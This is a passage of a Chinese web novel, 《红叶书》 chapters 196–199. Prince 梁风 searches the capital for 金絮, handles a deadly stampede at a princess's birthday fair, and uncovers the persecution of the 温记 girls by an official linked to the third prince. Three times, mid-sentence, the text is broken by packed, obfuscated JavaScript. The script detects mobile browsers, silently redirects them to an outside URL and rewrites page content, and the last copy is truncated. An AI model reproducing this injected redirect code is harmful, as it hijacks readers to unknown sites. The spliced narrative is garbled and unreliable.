温记的位置在城内河一道弯处,背靠拂柳街,温记就在拂柳街右街,面对河岸。 梁风见到拂柳街却愣住了。 拂柳街加六条支巷的民屋全部被毁,窗门都被砸烂,屋顶全数坍塌,只有底层几根插入地基的屋柱还能直立半根。街道地面全是拆下的木板,大门贴了封条,每间屋里看起来都没人,街上也看不见人。这里变成了一片破屋群。 梁风穿过两条巷子,找到记忆中的温记。 温记也被毁了,和周遭的房屋一样被贴了封条,里面没有人。 梁风有些恐慌,改道去官府询问拂柳街情况。 官府的人战战兢兢,说拂柳街的事情与泰安侯府有关,现相府与皇帝正因此事互相拉扯僵持。他们府衙也在等,上头的指令下来前是不能动拂柳街那片房屋了。 梁风想问详细情况,官府的人却不说了。 梁风仔细一想,准备去七皇子府,与義应当知道事态。 这时老李身边的暗卫来话,说府里收到十三寄来的信件。 梁风毫不犹豫,立马回府。 赶回府,老李正拿着信函在门口等着。 梁风接了信直接拆开。信里十三说了很多,说他离开太南不久,徐礼冲撞刺史再次下狱,金絮为了赎回徐礼花光全部的钱。然而她没钱却也没有启用十三的小金库,她说她要自己想办法。她还说她要做一种香料,命十三去城西郊外十里地的悬崖采一种紫色的花。十三去采了那花,第一次采花折返,却发现那花在断根后一个时辰便会枯萎,于是十三只好又回去采了一株,这次连根带土挖了出来。捧回家的时候花还没枯萎,结果得知金絮已经不在太南了。 她把十三甩了,不知道用什么方法离开了太南。 十三在各处城门查过,没找到她的踪迹。十三问过柔竹,柔竹也说不知道,只知道阿絮姐出门了。 十三还说,她在赎回徐礼后心情很低落,尤其是她见过一次林童忆之后心情有很大的变化。十三也就查了林童忆,查到林童忆上京了。林童忆是独自上京,没有随行的人。 她见了林童忆。 梁风懵了,“她骗我,她答应我不会见林童忆的,她去哪儿了?” “她说她想去大漠,她想找丽姬,她不会就此远走高飞了吧?她难道不回来了?”梁风睁大双眼,心里的恐慌无限扩大,“我难道再也见不到她了?” 老李拿来信纸也看了一遍,没看完便揣摩道:“金姑娘会不会是上京了?” 紧绷的一线被斩断,恐慌被强行收束,梁风立马拍胸口,惊魂甫定,“对对对,她上京了,她说过她要拿回温柔馆的钱,那笔钱对她很重要。她和我约定好了的。差不多到约定的时候了。” 老李松了口气,折好信纸。 她肯定上京了,她一定上京了。 可是她为什么没有和林童忆一块上京。肯定是她听了他的话,不会私下见林童忆,所以没和林童忆一块上京。 她为什么会见林童忆。就算她不想,她肯定没法拦着林童忆死缠烂打,怎么着也能允许她见过浅浅的一面,这不算欺骗。 那为什么十三没有查到她离开太南的踪迹,她是怎么离开太南。那肯定是十三调查路引有疏漏,他人又不在太南,十三没有调查权限,肯定查不出什么。 梁风想了明白,决定不睡了。 “我等等她。”他派出所有暗卫去京城各处城门守她,并看看前两日有没有她进城的痕迹。 她没钱了,她是怎么离开太南的。她或许联合柔竹一起欺骗十三,她最爱骗人了。 心脏快速跳起来,梁风一掌拍住胸口,她肯定上京了,她一定上京了。 可他随即又想到,她到了京城,看见残破的温记会是什么反应。 196. 《红叶书》(一一六) 梁风有一瞬间不希望她来到京城。 他对温记的预感隐约不太好,他更希望能在金絮进城之前把她带回府中。 愈发不安,梁风出门去找与義,直言询问拂柳街发生了什么。 与義道:“拂柳街的事我大概听说了一些,年初的事情了。泰安侯府世子想建一座园林,看中了拂柳街那块地方,结果被游丞相以劳民伤财为由批驳了。” “相府批驳为什么那条街的民屋还是被毁了?” “只拆了一半。泰安侯世子的建园请求在相府层层上批,遭到驳回后又层层下达,中间花费了几日。那几日里,少府将作大约是想讨好泰安侯吧,直接自作主张命人将拆毁那片房屋。游丞相得知后大发雷霆,下令中止拆屋并上报父皇,父皇却没有表态,拂柳街暂时是没有人敢管理。” “拂柳街的百姓呢?他们失了住房安置在何处?” 与義不肯定地摇摇头,“不清楚,应当是散了吧。泰安侯世子上报建园请求前就已在拂柳街上下出钱打点,收购那条街的民屋和商铺。我听说是还没开始拆屋就已经全部收购完毕了。” “散了?”一条街的百姓失去住处流散于城内,这对城内安定不会有好处,拂柳街百姓找到安置前都应由官府管理。 温记的小姑娘们如今住在哪里?或许住在附近客栈。不知道金絮听说了没有,梁风发愁,几个无依无靠的小姑娘流散城内太过危险。 “为什么陛下不管?” “父皇关押了少府将作,但是没有惩罚,大约是想保下少府将作。”与義耸肩,“皇叔也知道,父皇和游丞相相来不对付。” 梁风清楚,泰安侯区区一个侯府,居然能调出这么多金钱收买拂柳街,而且那条街的官府居然会配合办事,这背后恐怕很复杂。 “这事情不好管,皇叔你可不要插手。”与義道:“我也不打算插手。” 梁风不说话。与義想了想说:“三皇兄倒是很尽心,想尽心的还有我的二皇姐。” 梁风一愣,“和昌?” “对了,皇叔,二皇姐的生辰快到了,送她的生辰礼你准备好了吗?” 梁风又是一愣。 与義嘻嘻一笑,“你要是没准备好,不如由侄儿我一块儿帮皇叔准备了吧。不过,准备两份礼物需要的钱财不少呢。” 梁风默然看着与義,老实地从怀里拿出一袋碎金。 与義略有犹豫,“这大约不够吧,皇叔你也知道,父皇向来宠爱二皇姐。” “没了。”梁风展展空荡荡的袖子。 与義已经把碎金袋子捧在手里,笑嘻嘻,“那就谢过皇叔啦。” 梁风开心不起来,还是有些担心那群小姑娘。他和与義告辞,召来一名暗卫,吩咐寻找温记铺主们的下落。 与期的生辰的确快到了,皇帝每年都会为她的生辰大肆操办,固定在玄武街举办庙会。城内街道已经张灯结彩,全是对公主的庆生祝福。梁风不过生辰,对这类庆生的欢喜没什么感触。 他等了一个晚上,没等来金絮的消息。他的人手太少。 第二天皇帝来了道圣旨,命他协助城内卫军在和昌生辰那日维持玄武街秩序,允许带兵。 强行有活干。谁说他闲了?他忙得很。梁风不情不愿地接旨。 居然允许他带兵,梁风有点纠结,协助居然是能让他带兵巡视的程度,权限挺高,皇帝胆子挺大。 又等了一天,城门各个暗卫都说没见过金絮。 十三从太南回来了,梁风仔细询问他从太南走后她的情况细节。 十三说起金絮想卖书,卖她写的《温柔新语》,但是没有书肆要她的书。这书梁风知道,去支郁村的来回路上她一直有在写。 内容是她和姑娘们在温柔馆的起居日常,包括和某些男客的对话。金絮给他看过,写得很好,小巧精致,简洁凝练,写法和大多数文官写的文章不一样,和他印象中金延守的写作风格也很不同。她自己非常喜欢,梁风也喜欢。 十三说,《温柔新语》不光被各大书肆拒收,有些书肆掌柜还会言语隐晦地侮辱她,她挺不开心的。 梁风觉得他可以开间书肆,专门摆放她的书,做她的专属书肆。他找到事情干了。 十三说,她的书投路无门的时候,遇见从前温柔馆的一个男客,叫王殊。王殊提出可以为她展出此书,她似乎挺开心,且两人后面还有些接触。 “王殊?三代皇商的王家?” 对了,王家的两位公子前一阵子也在太南。 梁风觉得不妙,他把注意力都放在林童忆那了,漏了姓王的。 越想越不对,温柔馆男客。这才是王殊的关键身份。梁风另派出暗卫调查王殊。 和昌生辰当日的城防安排布局下来,梁风负责的部分十分有限,只是根据玄武街现如今的布置确认布防图的安排是否合适,以及生辰当天和昌出现在城头的时候巡视玄武街最核心的地段,保证百姓安全守序。 皇帝似乎很缺人手,梁风听说崔府都收到旨令,敬先当夜也会参与维持秩序。 估计是去年庆生出了事故,今年警惕起来了。去年金絮要离京,梁风都没关注旁的事情。 调查王殊的暗卫查得很快。查出王家在□□日前上京,据下人目证,当时队伍里的确多出一名陌生女子。那名陌生女子上京后便不知所踪,下人只听说是他们大公子的红颜知己,回京路上都在一辆马车里。 “红颜?”梁风怔怔然,听了十分沉默。 李晟彻底松了气,“王爷,至少知道金姑娘的下落了,她如今就在京城。” “......嗯。”梁风对“红颜”的说法很介怀,不知道她是用什么方式让王殊愿意带她上京,她连钱都没有。 梁风想来想去,觉得有必要替她将那王殊处理了。 老李再一次地准备了一份谢礼,贵重的谢礼。 梁风带上贵重之物登门王家的府邸。 王大公子正在府中,梁风的莅临惊动了王家上上下下全部人,满门主子仆从在正屋跪了一地。 堂堂安分王亲临一个商户之家,这事肯定会传到朝堂。梁风才不管那么多。 见到王殊,梁风仔细打量,怕又来一个林童忆。 王殊恭恭敬敬向他行礼,动作暗含畏惧。王殊长得和林童忆不一样,一看就是个男的,个子不算高,身子板倒是和林童忆差不多。 “你们前一阵上京,回城队伍是不是带了位同行的姑娘?”梁风问。 “是。”王殊答:“那女人从前是来福街的一个老鸨,此次托小民捎带她上京,小民便顺路带她一程。” 梁风眯眼,“你路上对她做过什么?” 王殊目露恐惧,“没有!小民一路好吃好喝招待那位姑娘,什么也没做过!” “她是我王府的人,你们王家少再纠缠她!”梁风威胁! 王殊被吼得一愣。梁风摆摆手,下人拿出谢礼,他道:“无论她托你上京给了你什么东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839931|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此都跟你还清了!你往后不许出现在她面前。” “是是是。”王家老爷忙替王殊应道。 梁风清清嗓子再问:“你们知不知道她现今住在何处?” “小民不知。”王殊微微疑惑,“小民只知她有亲戚住在拂柳街一带。” 梁风这就明白了,金絮对王殊很谨慎,没有什么话都说,不是那个意思。 不是那个意思就好。 温记姑娘那边还没有消息,暗卫也没找到金絮。明日就是和昌生辰,他今日还得去城防营一趟。 天没入夜,敬先和崔固都到了城防营。戌时,夏培来了。 夏培同他道:“王爷,三月时廷尉逃了个盗贼,是个手段高明的惯犯,有同伙。逃狱后躲藏了一段时日,两月前在京城再次出现。陛下担心此次和昌公主生辰恐生意外,特命王爷多多费心,尽力抓捕盗贼。” “这不早说?”恐生意外还要办庙会? 夏培淡然拿出一卷文书,“这卷文书一个时辰前才整理妥当,告知您便迟了些,王爷莫怪。文书详细记录了该盗贼的身法与容貌特征,这盗贼会些功夫,王爷或可考虑城防兵带刀巡卫。” 梁风展开查看文书,画像极丑,摇头道:“不行,明晚百姓太多,带刀巡卫不妥。廷尉不查逃了的囚犯为什么要我来抓?能维持住秩序就不错了,还抓盗贼?你让皇帝安排别人抓贼吧。” 梁风说完就走。 夏培愣了,“我让?” 梁风不会考虑带刀,但在考虑部分卫兵要不要骑马。马在人群中可以作为锚点,相当于军队中的旗帜,起到标杆作用,但是会加剧街道的拥挤。 梁风犹豫了一阵,还是决定每队领头卫兵骑马,标杆不光能稳定卫队,也能稳定民心。 每条支巷安插一支卫队,大街每隔两个巷口安插一支卫队,共计三十四支队伍两百人,再另加游走巡逻的巡防兵、几处高楼的哨兵和大小头领,将近三百人。巡防卫兵本身也是街道拥挤的一部分。 到了和昌生辰这日,玄武街涌来的百姓比梁风预计的还要多。 商户占多数,想趁这场庙会大捞一笔的占更多数,沿街店铺天还没亮便纷纷开张,如今百姓家中都缺钱。 梁风没法,大清早便组织卫兵行动起来。 及至傍晚,梁风安排换岗,之后直到丑时后都不再换岗,换岗时行人流动太大易出意外。 入了夜,各色彩灯点燃,灯下游人愈发增多。小孩增多,小孩手里的玩具增多,梁风带着小支队伍巡视路过,还得小心不撞坏这些孩子手中的玩具。 他骑于马上,烛光之下游人的每一张脸都被覆盖同一层颜色,看起来大同小异。 相似的一群脸中,梁风突然看见金絮。 她埋没在人群里,烛光照在她头顶仿佛格外不同,单单独出她来,梁风一眼就看见她。 梁风想过去,身下荆风却不动,不愿冲开人群。他大喊一声,金絮似乎听见了,疑惑地看过来。 对上她眼神的一刻,梁风兴奋地向她比划唇形,声音传不过去,希望她能看懂。 金絮却在见到他时有瞬间失神。梁风很喜,这鲜活的眼神变化,她是活的,不是他眼花。 然而她双眼之下是一片阴影,梁风看见她脸上的疲惫,心里着急,又喊了一声。这时一阵行人耸动着涌过,转眼便看不见她了。 速度之快令梁风以为眼花了。 行到她消失的位置,完全不见她的踪迹。 197. 《红叶书》(一一七) 梁风打哨呼唤暗卫,随着人流一边前巡一边四下搜寻她的人影。 玄武街的两个出口都面朝皇宫,他此时后方是皇宫城墙,前方是右转的弯道。按她刚才消失的方位和人流行进的路线,他绕过这个弯说不定会与她巧遇。 梁风着急,却不敢带队行进太快,避免冲撞人群,只好压下心急,控缰慢慢地转过玄武街唯一一道大弯。 还没完全转过来,迎面遇上一股庞大拥挤的人群。街道左侧矗立着京城最大的一座酒楼,楼宽相比六间铺面并排,灯火辉煌,酒楼门口行人尤其拥挤,已经堵到了玄武街转弯处。 这个位置正好能直视和昌公主与皇帝登上城门视民的景象。梁风最关键需要疏通的也是这半条街道。 离得远,密密麻麻的人头覆盖了前方所有景象。梁风正要放出信号提示玄武街出口的卫兵尽快疏通街口百姓,禁止游人逗留,余光看见左侧酒楼二层似乎有黑影飞速闪过,不知何人。 下一瞬,酒楼门前六颗信号弹几乎同时直射夜空,发出警报。前方人群立刻传出剧烈的躁动暴响,尖叫声四起。 梁风当即踩着马背一跳,同时放弹,红色信号升空,号令各队卫兵封堵街巷出入口,阻止外侧游人再进这条街道。 他踩着屋铺的棚顶飞往大酒楼,街边的卫兵不断嘶喊控制人群。 “原地不动!” “原地不动,不许前行!” 梁风停在酒楼二层檐顶,下方就是发生暴动的街心位置。大片人头不知何故疯狂拥挤互相踩踏,人挤得根本下不去脚。梁风不停吹哨,尖叫哭喊混杂各队卫兵的哨音,他几乎听不清楚自己的施令。 梁风快速判断,暴动核心范围大约五十步,人群猛烈地往中心挤,中心被挤的人想出去,出不去便尖叫。五十步外的人群得到控制,正在往外疏通。 卫兵不能强行进去扒开人群,只能等待暴动核心的人自己慢慢停下往内挤的动作。 一张张扭曲的人脸涌动,他看见几个较为矮小的女子尖叫着逐渐被人群吞噬。梁风再发射一道信号弹,试图用信号弹的巨响震慑人群,停止再往内挤。 很快尖叫声便小了,五十步的拥挤圈在疏散,疏散为三十步。他来的方向已经有楚通带人举着旗帜赶来,卫兵凶猛地怒喝百姓。 梁风想要落脚三十步外,脚底无意踩到一个清脆的东西,他低头一看,是枚铜板。 他心道不好,刚才看见的那个黑影恐怕有诡。他拾起铜板,落到与楚通带人而来的对面,与楚通一道相夹疏通街道。 尖锐的哨音盖过哭喊,百姓不断向外流动,街道慢慢开朗,地上横躺着几具踩踏而亡的成人和小孩,哭泣彻底爆发。 没见到金絮。梁风四处查看伤亡,她不在地上躺着的人里。 他打哨问暗卫,暗卫说没见到。 敬先急急赶来,问梁风发生了什么。 楚通也带人过来询问,梁风拿出捡到的那枚铜板,表示他见到的那个一闪而过的人影极有可能往街上撒了钱,才引起人群暴动。 梁风指了指酒楼二层檐顶,楚通的人便跳上查看,回来也捡到了两枚铜板。 楚通表示清楚,向梁风道谢,接手街道疏通余下的事情。 梁风一颗心悬着,见不到她放不下。 死亡的气息弥漫开来,行人纷纷躲避。路边一家被人群撞塌了棚顶的果摊,摊主正在重新支起棚顶,嘴上骂骂咧咧,摊位前方走过一道头发极其凌乱的背影。 走得极慢,一瘸一拐,却很坚定地走着。梁风余光注意到,愣住了,还没回过神已经向她跑去。 他大喊一声,见她动作微顿,下一刻却更快地手脚并用往前跑。 她的腿怎么了。梁风冲过去拽住她的手,把她拽回头。 金絮准确地对上他的眼睛,映着烛火的眼睛深处有什么东西易散。她哭了,梁风怕是幻觉,摸摸她的脸。她的头发乱极了,脸上颜色深一块浅一块,过得很不好的样子。 “你刚才在人群里面吗?” 很显然是的。梁风死死抓着她不放手,改为抱她,“我先带你回去。” “你不先救人吗?”她的声音很沙哑,想推他也没什么力气。 “救你也是救。”梁风担心她的腿伤了,抱得很小心。和敬先打了声招呼便飞身上马,带她回王府。 一手抱她,一手控缰,梁风身上发抖,用力抱着她止抖。 “你来京城了。” 玄武街行人还是很多,荆风慢慢行,到了宽阔的街道才加快。 金絮安静地靠在他的肩头,身上散发着一种低沉的气质感染到他,梁风觉得她不对劲。 “阿絮?” “是不是我每个时候遇见的人都会失去?” “不是。你永远不会失去我。”梁风抱得很紧。 她许久没吭声,梁风低头一看,她睡着了。 回到王府,梁风抱她进房,叫来李婶。 梁风拆掉她散乱的簪子,扶她躺平,李婶为她把脉。 “体虚、气弱、心神不定、操劳过度,此刻只是睡着了,并无大事。”李婶又看她的腿,“脚踝扭伤较为严重,接近骨裂,醒来后几日内不能下床了。” 她不是晕了,她是睡着了。梁风单跪在她床头,捋捋她的头发,仔仔细细看她。 李婶为她的脚涂了药,缚绑带吊在床尾,避免她睡时挣动加重伤势。她睡得沉,却不安稳。梁风喂她喝了一小碗水,看她睡踏实了自己再去吃饭。 晚饭时派去调查温记的暗卫回来了,终于查清了温记铺主的去向。 温记那几个小姑娘搬到了长庆街的一家药铺,药铺主人姓孙,是从前温柔馆的大夫。 “孙姨?”梁风道。 和他同用晚饭的老李也在认真听,暗卫接着道:“孙氏药铺也已经卖出了。铺主孙大夫在几月前离世,葬在城郊公墓。” 梁风愣住,“去世了?” “是。不光是孙大夫,孙氏药铺还死了一位名叫水夭的姑娘。” “等会,你仔细说说。” “是。” 暗卫道:“年初收购拂柳街的事是官府的张大人在替泰安侯府操办。那几名姑娘原本不愿意卖出温记,后面是怕惹上侯府才答应了。结果说好的一间铺子一百二十两变成了二十两,那些姑娘气不过,找官府理论。但她们的地契不知怎么被改了名字,被证实温记不是她们所属,最后连二十两都没拿到。 “她们失去住所,住进了孙氏药铺,孙大夫得知后求助于曾经诊治过的一位病患。病患是京城一户官宦之家,得知孙大夫的事迹便出手相助,帮孙大夫争取回了八十两。 “过了几天,那位张大人说自己家遗失一支血如意,指证是被孙氏药铺的女人盗取,抓了名叫火蓉的姑娘,在牢里关了数月。孙大夫和水夭姑娘找官府理论,张大人以未经允许擅自喊冤者打三十大板为由施刑。其余姑娘花光了钱将人赎出来,两人重伤不治身亡。 “前几日,絮姑娘到达京城施以援手,安葬水夭姑娘,为火蓉姑娘找大夫,并卖了孙氏药铺,剩下的人在今日一早由林童忆护送太南。” 她今日一早送她们去太南,晚上在玄武街遇见他,梁风明白她身上那股低沉的情绪从何而来了。 暗卫继续道:“此事之所以难查是因为被官府强行镇压了。药铺这条线索是顺着林童忆查才查到的,林童忆在去太南之前曾多次去过孙氏药铺,还会给铺主提供钱财援助。出了事后,她们铺子里有人卖身青楼或是卖身大户人家做账房丫头,给还留在药铺的凝荷姑娘出钱援助,絮姑娘到京城时水夭姑娘重伤还未断气。” 老李放下筷子,道:“王爷。” 梁风吩咐暗卫道:“你去跟着那几个去太南的小姑娘,赶紧追过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839932|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,确认她们安全抵达太南。” 暗卫应声。老李道:“此事麻烦,不易插手。” “拂柳街的事情我可以不管,有与棣在尽心。但是那支血如意,原本是阿絮想送给我的,我没收,如果我收了,说不定就没这事了。” “怎可能呢,这只是个由头。您心里明白,那张大人想压下此事,多的是办法叫那些姑娘们闭嘴,再也不替自己伸冤。血如意和‘未经允许擅自喊冤者打三十大板’都是由头,并非您将如意收了她们就能免遭此祸。” 梁风明白,沉默片刻问:“那张大人是什么背景。” 暗卫答:“三皇子。” “王爷。”老李又唤。 梁风得捋捋,有点绕不清楚。他走到外面屋檐下蹲着,盯着砖缝仔细想。 以相府为代表的文官支持正统,正统是祖制,是长子继位,相府支持与棣继任太子。但有皇帝这个违背祖制篡位的人在,代表祖制并非不可打破。 如果他举报张大人,也就举报了与棣,意味着可能令相府认为与棣并非成为太子的最佳人选,意味着他这样的行为在皇帝眼里是站在了祖制的对立面。 与義担任太子显然才能不够,如果两位皇子都不是太子的最佳人选,那还有什么人选可能继位太子。 就是他自己了。 皇子健在,自然轮不到他这个皇叔。但是他这一生,剩下的几十年会过上怎样一种日子就不好说了。而且那些数量庞大的文官,说不定会有人以为他举报张大人的行为是在表达什么意思,暗地里偷偷摸摸和他接触,那他可就说不清了。 太子未立,在这个特殊时期,他不能做出任何可能挑拨皇帝和皇子之间关系的事情,加深他不忠的嫌疑。与棣该被告发,但不能由他来告发。 可是现在能告发的只有他。 捋明白了,梁风没想明白。 与義提醒过他不要插手。今夜庙会,皇帝不知出于什么心思让他带兵把守秩序。他不想沾惹皇帝那点心思,也没兴趣多占什么功劳。 梁风站起来,不想了,想这么多其实也没用,问题很复杂也很简单。 他悄悄打开金絮的卧房,悄悄看了她一眼,她还在睡,没有要醒的迹象。梁风看了一眼便退出去,往府门走。 金絮问他是不是会失去所有人,他说不会,他只是希望她能开心一点。 李晟大步追出来,扯住他的手臂。梁风回头看着老李。 “王爷,您想去告诉陛下?” 看着老李已经发白的头发,梁风张了张嘴,只道:“我不插手。” 他脱出老李的手继续走,老李又跑两步追上,彻底站到他面前拦住前路。 “王爷,不急这一时。等金姑娘醒来,她若希望您为她主持公道,您再去告发三皇子殿下不迟。她若是希望您明哲保身,您又何必走这一趟。” 梁风停步,被老李说动犹豫了。 “您不妨听听她的建议吧。” 梁风得承认,他如今做任何事情出发点都是金絮,这件事情她会不愿意讨个公道吗? “王爷,老奴不希望白发人送黑发人。” 梁风撤了半脚,认真看着老李,“老李你想啥呢。” “年纪大的人听不得生离死别。”李晟坚持拦他,“告发三皇子殿下真是有害而无利。” “帮她是有利的。” “可金姑娘需要的帮助或许不是此种帮助,您不妨先问问她,听她打算再做定夺。王爷,您不能冲动。” 老李好坚持,是真的担心他了。梁风不忍心,应了:“行,我先不去了。” 还得再想想,等她睡醒也不用很久,看着她醒来也好,她有多久没回王府了。 吩咐暗卫跑趟官府,确认温柔馆的钱是否已经被她取走。梁风另外再让厨房多准备饭食,希望她醒了便有饭吃。醒来就有饭吃是家的感觉。 198. 《红叶书》(一一八) 然而她睡了整整两天。 叫也叫不醒,从第一天近乎昏迷的沉睡,到第二天出现舒缓迹象的沉睡,梁风逐渐焦虑,在她床边守了两天。 他担心她生病了,第二天夜里让李婶为她把脉。李婶说除了气血虚弱外,她的脉象逐渐趋于平缓康健,脚伤也在好转,没有生病。 “睡这么久说不定只是太累了。”李婶轻声道。 “她不需要起来解手吗?” “要的。但如果不着急的话也就不会醒来解手。” 梁风整个人都要呆滞了。没见到她被折磨,见到她还被折磨,他真是快被折磨死了。 “她从前日晚间便未进食,我唤人煮粥去,稍候王爷喂她喝些粥水吧。” 梁风点头。李婶告退,从房间出去的时候与交替进来的老李擦肩。老李看了看躺着的金絮,低声道:“王爷,宫里来人了。” “谁啊?” “夏公公身边的人,来送赏的。” 夜深星重,皇帝身边的太监亲自领着赏赐送出宫,梁风也得亲自领赏。 太监宣读口谕,皇帝只说有劳安分王。下人捧着几只盒子,御赐之物是两箱金子和几件玉器。玄武街稳序一事他没有做好,赏赐稀薄。梁风谢恩。 太监不多说,告辞退去。老李将赏赐送进府库。 他放心不下,便转身回她的卧房。主要是怕她随时睁眼不知道这里是王府,想守着她醒来。 走到她的院子却见屋内映在窗户上的影子多了半面,梁风猛一看见,迅速提步进屋,一把掀了内间门帘。 房内两盏烛光虚虚照了半间,床上人披发枯坐,呆呆看着半掩的窗户。 她醒了。她的侧面薄薄一片,头发像从身体伸出的枯草,垂在被子上的手筋骨分明,像根杆子。 梁风心里发紧,几步走到床边,紧紧握住她的手。 “你醒了。” 手掌充满刚睡醒的温暖,发白的嘴唇完全不动,金絮缓缓看向他,眼珠子被平移过来。 “我还能让你看一眼。”梁风回视她的眼睛,古井般的眼睛深处有许多波澜。 他摸摸她的眼角,“饿了吧。” 目光相触深深,梁风懂她想说的一切。 “你永远不会失去我。”玄武街那夜怕她没听清楚的话,这两天说了好多遍给她听,不知有没有传去她的梦里。 泪水漫上来,宛如深井倒灌,蔓延她的脸庞。梁风心痛,擦去她的眼泪,不顾逾距地抱住她,安慰:“不哭不哭,你有我呢。” 金絮却更哭了,湿气极快地蔓延他的肩头。 梁风拍拍她的头,拍拍她的后背。想见她,但不想见她这样哭。 脖子间一股浓浓的湿气,她的难过顺着咽喉和耳朵扩散到他的大脑,无法控制地被她的情绪传染。她哭得很痛苦,浑身都在发抖。 “阿絮,你不要难过。”梁风想传给她力量,止住她的眼泪,自己却也忍不住难过,拍拍她的头,拍拍她的后背,不知道还能怎么做。 由她哭一会,梁风静静抱着她。等她逐渐哭不动了,呼吸一抽一抽地喘出来,梁风怕她哭伤了,“你要吃饭,我去为你讨公道,她们不会枉死的。” 金絮拽着他的衣服摇头。梁风轻抚后背顺气,“你先吃饭,你睡了两天了。” 金絮还是摇头,离开他的怀抱,自己用力抹脸。梁风把袖子递给她,金絮用袖子抹脸。 她逼停眼泪,一边不断地摇头,“不行......” 脸都要被抹红了,梁风拿下她的两只手,轻轻抚摸她的脸,抹去被她擦红造成的疼痛,“你要先吃饭。” 红肿的眼睛没有离开他的脸上,金絮平复气息,移开视线,取下吊着伤脚的布绳,要下床。 指尖没了她的脸颊,梁风忙拦,“脚伤着。” 金絮硬要下床,指了指浴室。梁风直接抱起她,将她放到浴室恭桶上再退出去。 这时李婶送来稀粥,一看床榻道:“醒了。” “睡了两天醒来一下子不能吃多,先喝点稀粥,晚些再吃松饼。”李婶放下粥又准备松饼去了。 金絮一瘸一拐地推开浴室门,梁风再抱她回床上喝粥。 被榻上架一个小木桌,金絮一言不发地喝粥。粥里有蛋花,温度适宜,她用小勺子一口气喝了半碗。梁风捋捋她的头发,头发太乱了,纠成一团,这两天疏忽为她梳发了。 温暖的粥水下肚,她的脸色好了些,嘴唇没那么干了。金絮看着他道:“这事你能管吗?你不能管。” “我能,我什么都愿意为你做。”她的声音大哭过后哑哑的,梁风不爱听。 她挪视线,看着粥面,看了许久才继续吃。 梁风一直拽着她身上某个东西,或者是衣服,或者是手腕。 “不行。”她的脸木然地搅弄粥底。 “我想想。”她道。 怎么样都好办,梁风殷殷切切看着她,“在王府住下吧。” 金絮却停止喝粥了,点头答应,“我也没有别的地方可去。” 她不喝了,想掀被下床。梁风拦住,“躺着,暂时不能走动,等脚伤好了再下床。” 金絮冷漠地看着他。梁风硬气道:“就是不许下床,李婶说你的脚扭得差点骨裂。” 金絮冷漠地看着自己那条腿,问:“徐礼冲撞许大人的事情你知道了?” “知道了。” “没给你带来麻烦?” “没有啊。”梁风把桌子拿走,“那事情不大,许义若是上报,皇帝也没必要说什么。” 她冷冷一呵,转而道:“十三呢?” “十三生你的气了,不想理你。”梁风张嘴就道。 她没什么反应,躺下了。 “还没睡够么,你听我分析分析。” 红肿没消的眼睛看过来,她表示听着。 “这事是能办的。” 她先问:“拂柳街背后办事的人是谁?” “三皇子与棣。” “那就办不成。” 夜深了,蜡烛即将燃到尽头,屋内光线愈发昏暗,梁风觉得累了,他道:“办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门开了,李婶送来松饼。热乎乎的一张饼递给金絮,她双手接过,认真地吃起来。 看着她吃饼的样子,梁风心里又不觉得委屈了。 “我会追查拂柳街这件事。”他道。 她停下吃饼,静静看着虚掩的窗户。 梁风顺着她的视线也看了看窗户,没发现有什么吸引她的注意。 “我干不来摄政这事。”他低声道。 金絮扭头看向他的目光充满了同情,“你啥也干不来。” 梁风接着讷讷,有点不开心,垂着脑袋悄悄捏她的手指。 窗户外面开阔纵情的天空全被遮住了,金絮叹气,“一个人会走怎样一条路是不是在出生的时候就注定了。” 梁风没明白,但是回答:“不是。” “如果已经注定,人为什么会思考,人不应该思考。”她道。 “所以不是注定的。”他停一停又说:“可能的确是注定的吧。” 199. 《红叶书》(一一九) “注不注定先放一边,你还记得你是在哪里买来那支玉如意吗?”梁风问。 “不记得了。你真的要管?” “我不管,只是查清楚。” 梁风自认目光坦诚,金絮却道:“我不记得了,当时买了之后应该有张单子的,那张单子不知道丢去哪里,可能被官府抢走销毁了。” 她寻思道:“大约在珠宝阁买的吧,当时想着贵重一点的东西才好配作你的谢礼。” “好,我去查查看。”梁风抬抬她的手,“你把这张饼吃完。” “没味道,想吃甜的。” 梁风劝:“你两天没吃饭,现在又是晚上,吃不了太重味的。明天我给你吃甜的。” 金絮将饼皮卷了卷,塞一口。 梁风看着她吃饼的动作,忍不住摸摸她的脑袋,“我给不了你想要的。” “我想要什么?”她咽。 “你想要的我都给不了。”梁风心里明白,“反正你先在王府住着,把伤养好,之后你要做什么我都会帮你。我无事可干,你在王府这段时日我想多陪陪你。” 她无言沉默地回视他。梁风看着她泛红的眼角,移开视线,张嘴想说什么又吞回去,纠结之后还是道:“我也想你陪陪我。” 金絮没说话,梁风回答自己:“你今晚还睡么?” 她点头。 “那我走了。”他在床头放一个铃铛,叮嘱:“丫鬟都睡了,有事摇铃叫我,我就在外面。如果饿了也摇铃,厨房还有松饼,记得别下床。” 她点头。梁风端了一盏蜡烛放床头,退出内间关好门。 